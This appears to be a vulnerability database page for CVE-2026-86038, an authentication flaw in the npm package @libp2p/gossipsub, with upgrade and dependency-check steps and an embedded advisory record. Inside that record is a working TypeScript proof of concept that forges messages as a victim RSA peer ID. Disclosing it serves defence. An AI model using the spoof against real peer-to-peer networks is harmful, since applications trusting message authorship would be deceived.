CVE-2026-86038: libp2p Gossipsub StrictSign Accepts Attacker-signed Messages Vulnerability
HIGHCVE-2026-86038 is a HIGH (CVSS 7.5) gossipsub strictsign accepts attacker-signed messages vulnerability (CWE-345: Insufficient Verification of Data Authenticity) affecting libp2p libraries in the npm ecosystem. The issue involves gossipsub strictsign accepts attacker-signed messages as a victim rsa peer id. Remediation is available by upgrading affected packages to version 16.0.5.
CVE-2026-86038 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N).
How to Fix CVE-2026-86038
To remediate this vulnerability, upgrade all affected libp2p dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @libp2p/gossipsub@16.0.5
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @libp2p/gossipsub
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-86038, inspect your project dependencies using npm:
npm ls @libp2p/gossipsub
Analyze the terminal output to locate any version of libp2p in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 16.0.5), your application is affected.
Note: The npm ls @libp2p/gossipsub command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-345: Insufficient Verification of Data Authenticity, where the product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data. In libp2p, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-86038 Affected libp2p Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@libp2p/gossipsub
|
npm |
≥ 15.0.0
< 16.0.5
|
16.0.5
|
References
Frequently Asked Questions
What is CVE-2026-86038?
Which libp2p versions are affected?
What version fixes CVE-2026-86038?
Is @libp2p/gossipsub affected?
What is the CVSS score of CVE-2026-86038?
What CWE is associated with CVE-2026-86038?
How can I check npm dependencies for CVE-2026-86038?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-c3gv-825q-fvmp",
"modified" : "2026-09-17T17:29:31Z",
"published" : "2026-09-17T17:29:31Z",
"aliases" : [ "CVE-2026-86038" ],
"summary" : "libp2p: Gossipsub StrictSign accepts attacker-signed messages as a victim RSA peer ID",
"details" : "### Summary\n`@libp2p/gossipsub` `StrictSign` validation does not bind a supplied message public key to the claimed `from` peer ID when `from` is an RSA-style peer ID that does not inline its public key. An attacker can set `from` to a victim RSA peer ID, sign the message with the attacker's own private key, include the attacker's public key in `msg.key`, and have the message accepted as a valid signed message from the victim.\n\n### Details\nThe vulnerable code is in `packages/gossipsub/src/utils/buildRawMessage.ts` inside `validateToRawMessage`.\n\nWhen `msg.key` is present:\n\n```ts\npublicKey = publicKeyFromProtobuf(msg.key)\nif (fromPeerId.publicKey !== undefined && !publicKey.equals(fromPeerId.publicKey)) {\n return { valid: false, error: ValidateError.InvalidPeerId }\n}\n```\n\nFor RSA peer IDs parsed from the wire `from` multihash, `fromPeerId.publicKey` is undefined because the RSA public key is not inlined in the peer ID. This means the key-to-`from` comparison is skipped. The code then verifies the signature with the attacker-supplied `msg.key` and returns a signed message whose `from` is the victim RSA peer ID.\n\nThe missing invariant is:\n\n```ts\npeerIdFromPublicKey(publicKey).equals(fromPeerId)\n```\n\nThis check must be performed whenever a public key is supplied, including keyless peer ID representations such as RSA peer IDs.\n\n`StrictSign` is the default gossipsub signature policy in `packages/gossipsub/src/gossipsub.ts`:\n\n```ts\nthis.globalSignaturePolicy = opts.globalSignaturePolicy ?? StrictSign\n```\n\nVersion tracing:\n\n- `git blame` points the vulnerable `validateToRawMessage` block to `9a9b11fd44` (`fix!: remove pubsub (#3291)`), which introduced `packages/gossipsub/src/utils/buildRawMessage.ts`.\n- That commit's `packages/gossipsub/package.json` still reports `14.1.1`, but the first `gossipsub-v*` release tag in this checkout that contains the vulnerable block is `gossipsub-v15.0.0`.\n\n\n### PoC\n\n```ts\n// TypeScript ESM PoC.\nimport { strict as assert } from 'node:assert'\nimport { generateKeyPair, publicKeyToProtobuf } from '@libp2p/crypto/keys'\nimport { StrictSign } from '@libp2p/gossipsub'\nimport { peerIdFromPrivateKey } from '@libp2p/peer-id'\nimport { concat as uint8ArrayConcat } from 'uint8arrays/concat'\nimport { fromString as uint8ArrayFromString } from 'uint8arrays/from-string'\nimport { RPC } from '../../packages/gossipsub/dist/src/message/rpc.js'\nimport { SignPrefix, validateToRawMessage } from '../../packages/gossipsub/dist/src/utils/buildRawMessage.js'\n\nconst label = 'gossipsub StrictSign RSA author spoof'\n\nfunction seqno (n: bigint): Uint8Array {\n const out = new Uint8Array(8)\n new DataView(out.buffer).setBigUint64(0, n, false)\n return out\n}\n\nasync function main (): Promise<void> {\n const attackerKey = await generateKeyPair('Ed25519')\n const victimRsaKey = await generateKeyPair('RSA', 512)\n const victim = peerIdFromPrivateKey(victimRsaKey)\n\n const msg: RPC.Message = {\n from: victim.toMultihash().bytes,\n data: uint8ArrayFromString('forged as victim RSA peer'),\n seqno: seqno(1n),\n topic: 'poc-topic',\n signature: undefined,\n key: undefined\n }\n\n // Sign the protobuf message that claims victim in `from`, using attacker's key.\n const bytes = uint8ArrayConcat([SignPrefix, RPC.Message.encode(msg)])\n msg.signature = await attackerKey.sign(bytes)\n msg.key = publicKeyToProtobuf(attackerKey.publicKey)\n\n const result = await validateToRawMessage(StrictSign, msg)\n\n if (!result.valid) {\n throw new Error(`expected forged message to validate, got ${result.error}`)\n }\n\n assert.equal(result.message.type, 'signed')\n assert.equal(result.message.from.equals(victim), true)\n assert.equal(result.message.key.equals(attackerKey.publicKey), true)\n\n console.log(`${label} reproduced`)\n console.log(`claimed victim RSA author: ${victim}`)\n console.log('signature verified with attacker-supplied key')\n}\n\nmain().catch(err => {\n console.error(err)\n process.exitCode = 1\n})\n```\nExpected output:\n\n```text\ngossipsub StrictSign RSA author spoof reproduced\nclaimed victim RSA author: QmcFsT6SHgxy1LXcUbz4aNSn9Wcj6JsJSMsSjB3ud1wT4f\nsignature verified with attacker-supplied key\n```\n\n### Impact\nAttackers can forge gossipsub messages attributed to arbitrary victim RSA peer IDs under the default `StrictSign` policy. Applications that trust `message.from` in topic validators, authorization logic, accounting, moderation, reputation, or audit logs can be misled into treating attacker-controlled data as if it was authored by the victim.\n\nThe forged message can also be considered valid by gossipsub's validation path and forwarded to peers, spreading the incorrect origin attribution through the pubsub mesh.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@libp2p/gossipsub"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "15.0.0"
}, {
"fixed" : "16.0.5"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/libp2p/js-libp2p/security/advisories/GHSA-c3gv-825q-fvmp"
}, {
"type" : "WEB",
"url" : "https://github.com/libp2p/js-libp2p/pull/3569"
}, {
"type" : "WEB",
"url" : "https://github.com/libp2p/js-libp2p/commit/cec2b1f349d130065e561349a0336a239528267f"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/libp2p/js-libp2p"
}, {
"type" : "WEB",
"url" : "https://github.com/libp2p/js-libp2p/releases/tag/gossipsub-v16.0.5"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-345", "CWE-347" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-09-17T17:29:31Z",
"nvd_published_at" : null
}
}